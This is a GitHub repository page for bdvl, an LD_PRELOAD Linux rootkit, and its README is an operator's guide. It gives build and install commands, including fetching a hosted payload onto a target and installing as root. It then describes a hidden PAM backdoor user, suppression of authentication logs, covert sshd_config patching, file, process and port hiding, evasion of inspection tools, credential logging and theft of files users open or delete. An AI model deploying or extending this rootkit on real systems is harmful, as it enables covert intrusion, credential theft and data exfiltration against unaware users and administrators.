Skip to content
/ bdvl Public
forked from attackgithub/bdvl

LD_PRELOAD Linux rootkit (x86 & ARM)

Notifications You must be signed in to change notification settings

Hefeeder/bdvl

This branch is 83 commits ahead of attackgithub/bdvl:master.

Repository files navigation

bedevil-nobash

icon


  • Based on my other rootkit, vlany
  • bedevil is designed to be more robust, faster and efficient than vlany.

Overview

  • This is an LD_PRELOAD rootkit. Therefore, this rootkit runs in userland.
  • This is the same as the original bdvl but however this version eliminates the need for bash.
    • So naturally this repository is much different from the original.
    • The original version on the master branch will not continue to be updated.
    • Therefore updates from this day on will only be in this branch.
  • During the creation of this rootkit I had some goals in mind.
    • Tidy up previously existing aspects of precursor (LD_PRELOAD) rootkits.
    • Fix outstanding issues. (from vlany)
    • Create a more manageable & robust system of rootkit functionalities.
    • Working on anything in vlany just felt like a huge mess, I grew to hate this. I knew it could be better...
  • When it comes to actual rootkit dependencies, there are only a few.
    • Most will already be installed.
    • Those that aren't will be installed before rootkit installation.

Usage

  • This repository is extremely simple in comparison to the original.
  • Getting an installation up & running is a matter of editing your backdoor settings in setup.py & just few brief commands.
 $ make
rm -rf new_inc
python setup.py
Username: changeme
Password: px0kFNAi
Hidden port: 26871

        sh etc/ssh.sh changeme <host> 26871 # px0kFNAi

cc -std=gnu99 -Wall -Inew_inc -g0 -O0 -shared -Wl,-soname,bdvl.so.x86_64 -fPIC new_inc/bedevil.c -lc -ldl -lcrypt -lpcap -o bdvl.so.x86_64
cc -m32 -std=gnu99 -Wall -Inew_inc -g0 -O0 -shared -Wl,-soname,bdvl.so.i686 -fPIC new_inc/bedevil.c -lc -ldl -lcrypt -lpcap -o bdvl.so.i686 2>/dev/null
make: [Makefile:17: kit] Error 1 (ignored)
strip bdvl.so*
  • When it comes to the actual installation, you have three choices.
    • Host the result (in this case) changeme.b64 file somewhere accessible from the target box & point the first variable in auto.sh to wherever changeme.b64 may be.
    • On the box, when running auto.sh supply it a path as an argument to this file wherever it is.
    • Or with the compiled bdvl.so.* you can run (as root) LD_PRELOAD=./bdvl.so.x86_64 sh -c './bdvinstall bdvl.so.*' & bdvl will, well install. Of course it's vital that dependencies be present beforehand.
      • This is how auto.sh installs bdvl after installing dependencies.

Example usage

  • On my own machine here, I've configured bdvl how I like & have built it.

building-bdvl

  • In this example I am using auto.sh to grab the result (changeme.b64) from a Python HTTPServer I've got running for this purpose.
  • The last command sent in that screenshot is once the target box is listening for my connection, as seen in the example below.

installation-process

  • After this finishes successfully, you will be able to log into the backdoor with the credentials specified.

first-backdoor-login

Features & configuration information

  • Listed in the table below is a very concise overview of all of the important functionalities that bedevil has.
  • Most can be enabled/disabled from within setup.py & the others in config.h.
Toggle Info
USE_PAM_BD allows interactive login as a backdoor user via ssh.
LOG_LOCAL_AUTH log successful user authentications on the box.
LOG_SSH logs login attempts from over ssh.
HIDE_SELF hides files and processes based on rootkit magic GID.
FORGE_MAPS hides rootkit presence from process map files.
HIDE_PORTS hides ports & port ranges defined in 'hide_ports' file.
DO_EVASIONS hides rootkit presence from unsavoury processes.
READ_GID_FROM_FILE magic GID value is changeable from backdoor shell via command.
AUTO_GID_CHANGER the magic GID will refresh every so often. see comments.
HIDE_MY_ASS keep track of all hidden paths created by rootkit user (for rehiding).
UNINSTALL_MY_ASS paths kept track of by HIDE_MY_ASS will be recursively removed on uninstall.
HARD_PATCH_SSHD_CONFIG this keeps UsePAM & PasswordAuthentication enabled, hardmode.
SOFT_PATCH_SSHD_CONFIG not unlike the one mentioned above however is only applied for sshd.
ROOTKIT_BASHRC the rootkit will write & lock down .bashrc & .profile.
BACKDOOR_UTIL allows access to a host of backdoor utilities. see comments.
SET_MAGIC_ENV_UNHIDE set magic env var in ./bdv unhideself shell process.
BACKDOOR_PKGMAN safe package management access from backdoor shell.
FILE_STEAL steal specified files when opened & accessed by users.
PATCH_DYNAMIC_LINKER rootkit overwrites the original /etc/ld.so.preload path with a new one.
  • By default, all are enabled.
  • Be warned that (this version of) the rootkit is not designed to be used with a lot of these features disabled.
  • Irregular behaviour & general weirdness may occur otherwise.
  • I am slowly making this better. Until then I recommend keeping everything enabled...

Backdoor utility commands

  • By hooking the execve & execvp wrappers bdvl provides rootkit-related commands from a backdoor shell, accessible by running ./bdv.

available-backdoor-commands-in-bdvl


Magic GID

  • READ_GID_FROM_FILE allows changing of the rootkit's magic GID whenever you like.
  • There is a command available from within the backdoor for manual changing of the rootkit's GID.
    • ./bdv changegid
  • AUTO_GID_CHANGER is more or less what it sounds like. The rootkit will refresh its magic GID at least every GID_CHANGE_MINTIME seconds.
    • This value can be found in setup.py
    • The rootkit will not automatically change its GID when there are still rootkit processes running.
    • Otherwise there is a pretty high chance of being discovered since previous processes left with the previous GID would be visible.
  • HIDE_MY_ASS is intended to be a means of keeping track of files created, outside of the installation directory, by (you) the rootkit user.
    • For the sole purpose of rehiding them all when changing magic GID, be it manually or an automatically scheduled/timed change.
    • Paths are automatically kept track of upon creation in a backdoor shell/general rootkit process.
    • The file which contains all can be found in my_ass within the installation directory.
      • Paths in here will be rehidden upon GID changes.
      • If you are to unhide a path after its creation (path GID = 0), it will simply be ignored when the magic GID is being changed & files are subsequently being hidden.
      • If you would like to stop a path from being automatically rehidden upon a GID change just remove the path's line.

PAM backdoor

  • By hijacking libpam & libc's authentication functions, we are able to create a phantom backdoor user.
  • etc/ssh.sh makes logging into your PAM backdoor with your hidden port that bit easier.
  • The responsible utmp & wtmp functions have been hooked & information that may have indicated a backdoor user on the box is no longer easily visible.
  • Additionally the functions responsible for writing authentication logs have been hooked & intercepted to totally stop any sort of logs being written upon backdoor login.
    • See these hooks, here (syslog) & here (pam_syslog).
    • If the parent process of whatever is trying to write said auth log is that of a hidden process, the function in question simply does nothing.
    • Previously in bedevil, when interacting with the PAM backdoor, a log would be written stating that a session had been opened/closed for the root user.
    • So now this is no longer the case...
  • A problem with using this is that UsePAM & PasswordAuthentication must be enabled in the sshd config.
    • bdvl presents a couple of solutions for this. Really though it presents one solution as both work the same, primarily just at different times.
    • HARD_PATCH_SSHD_CONFIG will constantly make sure the sshd_config file stays the way it needs to, rewriting the file when changes need to be made.
    • SOFT_PATCH_SSHD_CONFIG works more or less exactly the same way as above, but applies only for the sshd process & does not really touch sshd_config. Basically sshd will read what we say it should.
      • No direct file writes/changes (to sshd_config) are necessary for this method. The file will appear to be untouched by any external forces when doing a normal read on it.
    • See here for more insight on how these work.
  • The rootkit's installation directory & your backdoor home directory are in two totally different & random locations.
    • I figured it was pretty important to separate the two spaces.
    • When no rootkit processes are running (i.e.: not logged into the backdoor) the rootkit will remove your .bashrc & .profile, that is until you log back in.
    • I have made everything easily accessible from the backdoor's home directory by plopping symlinks to everything you may need access to.
      • Not unlike .bashrc & .profile these symlinks are removed from the home directory until you log in.
  • If you aren't root straight away after logging in, just su root.

Dynamic linker patching

  • Upon installation the rootkit will patch the dynamic linker libraries.
  • Libraries to be patched (if they exist) can be found in setup.py (ldpaths).
  • Both the path to overwrite (/etc/ld.so.preload) & the new path (PRELOAD_FILE in setup.py) must be the same length as each other.
  • When running ./bdv uninstall from a backdoor shell, the rootkit will revert the libraries back to having the original path. (/etc/ld.so.preload)
  • See here for more on how this works.
  • Not having PATCH_DYNAMIC_LINKER enabled will instruct the rootkit to just use /etc/ld.so.preload instead.

File stealing

  • Files that will be stolen are defined in setup.py (INTERESTING_FILES).
  • Wildcards apply to filenames.
    • i.e.: INTERESTING_FILES = ['*.html', '*.php', 'backup.*']
    • You can also specify paths & they'll also support wildcards.
  • You may want to consult the default target files & the other settings surrounding it...
  • Files already stolen will be removed at least every FILE_CLEANSE_TIMER seconds.
    • The default value for this is once each day.
    • Change FILE_CLEANSE_TIMER to None to disable this.
  • By default the rootkit will only steal files with a max size of MAX_FILE_SIZE bytes.
    • The default limit for this value is 20mb.
    • Set this value to None & the rootkit will steal target files regardless of size.
    • Memory for the contents of target files is allocated in chunks.
      • In setup.py there is MAX_BLOCK_SIZE & BLOCKS_COUNT... See the comments surrounding these values for more.
  • Target files are stolen in the user's process so we aren't weirdly modifying file access times by doing this.
  • A file referenced by something such as rm by a user will be stolen before being removed.
    • rm is just a random example. This same logic applies for anything.
  • If a file has been stolen already, it will be ignored.
    • However if there has been a change in size since the last time it was stolen, it will be re-stolen.

Credential logging

  • LOG_LOCAL_AUTH
    • bedevil will intercept pam_vprompt and log successful authentications on the box.
    • Log results are available in your installation directory.
  • LOG_SSH
    • bedevil intercepts read and write in order to log login attempts over ssh.
    • Again, logs are available in your installation directory.

Evasion & hiding

Port hiding
  • With bedevil installed, you can hide or unhide any ports/ranges on the box by editing the hide_ports file in the rootkit's installation directory.
  • Additionally, before any configuration/setup, you can define what ports/ranges will be hidden by writing them to inc/hide_ports.
$ cat hide_ports
9146
304-306
1000-1003

Where a hyphen is the range delimiter...

Rootkit presence
  • bedevil will hide itself from the process memory map files upon being read.
  • Reading /proc/*/*maps, when bedevil is installed won't reveal the kit's location.
  • HOWEVER, dependencies required by the rootkit will be visible. (namely, libcrypt & libssl)
Scary things
  • bedevil will hide from defined scary processes, paths & environment variables.
  • The list of aforementioned processes, paths & variables can be found in setup.py..
  • i.e.: Running ldd.
    • Calling ldd as a regular user will show an error.
    • This user's privileges do not suffice.
    • The calling process must have the power to uninstall & reinstall our rootkit.
    • Running ldd again with sufficient privilege will show a totally clean output.
    • This is because, during the runtime of (in this case) ldd the rootkit is not installed.
    • Upon the application exiting/returning, the parent (rootkit) process of whatever just finished running reinstalls the rootkit.

About

LD_PRELOAD Linux rootkit (x86 & ARM)

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • C 84.9%
  • Python 10.2%
  • Shell 2.4%
  • C++ 1.2%
  • Other 1.3%